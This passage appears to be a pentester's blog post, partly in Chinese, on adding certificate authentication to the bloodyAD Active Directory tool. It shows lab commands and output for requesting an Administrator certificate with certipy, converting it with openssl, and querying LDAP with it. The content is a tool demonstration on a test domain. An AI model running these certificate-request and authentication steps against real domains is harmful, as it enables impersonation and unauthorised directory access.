(venv) PS > pip install --upgrade --force-reinstall winkerberos

## And now the magic happens
## (Don't forget to add an entry in C:\Windows\System32\drivers\etc\hosts for WIN-IJ5B521UO5L.bloody.local if needed)
(venv) PS > python bloodyAD.py -k -d bloody.local -u Administrator --host WIN-IJ5B521UO5L.bloody.local get object 'DC=bloody,DC=local' --attr msDS-Behavior-Version

distinguishedName: DC=bloody,DC=local
msDS-Behavior-Version: DS_BEHAVIOR_WIN2016

挖掘证书认证

Thu, 09 Nov 2023 00:00:00 +0000

几天前，我阅读了来自 Almond 的 Yannick Méheut 的一篇精彩文章，内容是关于在 Active Directory 环境中使用证书认证的。这在 PKINIT 不受支持时尤其有用，因为在这种情况下，您无法使用证书请求 TGT。这就是为什么我想扩展 bloodyAD 的功能，以支持证书认证。以下是如何使用它的示例（第一部分展示了如何获取证书，如果您只是想尝试该功能）：

# Grab the cert
## Get the CA Authority name
$ certipy find -u Administrator@bloody -p 'Password123!' -dc-ip 192.168.10.2 -debug
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[+] Bound to ldaps://192.168.10.2:636 - ssl
[+] Default path: DC=bloody,DC=local
[+] Configuration path: CN=Configuration,DC=bloody,DC=local
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[+] Trying to resolve 'DC01.bloody.local' at '192.168.10.2'
[*] Trying to get CA configuration for 'bloody-DC01-CA' via CSRA
[+] Trying to get DCOM connection for: 192.168.10.2
[*] Got CA configuration for 'bloody-DC01-CA'
[+] Resolved 'DC01.bloody.local' from cache: 192.168.10.2
[+] Connecting to 192.168.10.2:80

## Get the PFX
$ certipy req -u Administrator@bloody.local -p 'Password123!' -target 192.168.10.2 -ca bloody-DC01-CA -template User
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'Administrator@bloody.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

## Convert it to pem
$ openssl pkcs12 -in administrator.pfx -out administrator.pem -nodes
Enter Import Password:

# Use cert authentication
$ bloodyAD -c ":administrator.pem" -d bloody -u Administrator --host 192.168.10.2 get object 'DC=bloody,DC=local' --attr msDS-Behavior-Version

distinguishedName: DC=bloody,DC=local
msDS-Behavior-Version: DS_BEHAVIOR_WIN2016

旧版 certipy v2.0.9

# Grab the cert

## Get the CA Authority name
## -debug is required in my env or it doesn't work
(venv) PS > certipy.exe find bloody/Administrator:passw0rd@192.168.10.2 -debug
Certipy v2.0.9 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[+] Authenticating to LDAP server
[+] Bound to ldaps://192.168.10.2:636 - ssl
[+] Default path: DC=bloody,DC=local
[+] Configuration path: CN=Configuration,DC=bloody,DC=local
[*] Found 33 certificate templates
[*] Finding certificate authorities
[+] Trying to resolve 'WIN-IJ5B521UO5L.bloody.local' at '192.168.10.2'
[*] Trying to get CA configuration for 'bloody-WIN-IJ5B521UO5L-CA' via CSRA
[+] Target system is 192.168.10.2 and isFQDN is False
[+] StringBinding: \\\\WIN-IJ5B521UO5L[\\pipe\\cert]
[+] StringBinding: WIN-IJ5B521UO5L[49702]
[*] Got CA configuration for 'bloody-WIN-IJ5B521UO5L-CA'
[+] Resolved 'WIN-IJ5B521UO5L.bloody.local' from cache: 192.168.10.2
[+] Connecting to 192.168.10.2:80
[*] Found 11 enabled certificate templates
[*] Saved text output to '20220506173005_Certipy.txt'
[*] Saved JSON output to '20220506173005_Certipy.json'
[*] Saved BloodHound data to '20220506173005_Certipy.zip'. Drag and drop the file into the BloodHound GUI

## Get the PFX
(venv) PS > certipy.exe req bloody/Administrator:passw0rd@192.168.10.2 -ca bloody-WIN-IJ5B521UO5L-CA -debug

[*] Requesting certificate
[+] Trying to connect to endpoint: ncacn_np:192.168.10.2[\pipe\cert]
[+] Connected to endpoint: ncacn_np:192.168.10.2[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'Administrator@bloody.local'
[*] Saved certificate and private key to 'administrator.pfx'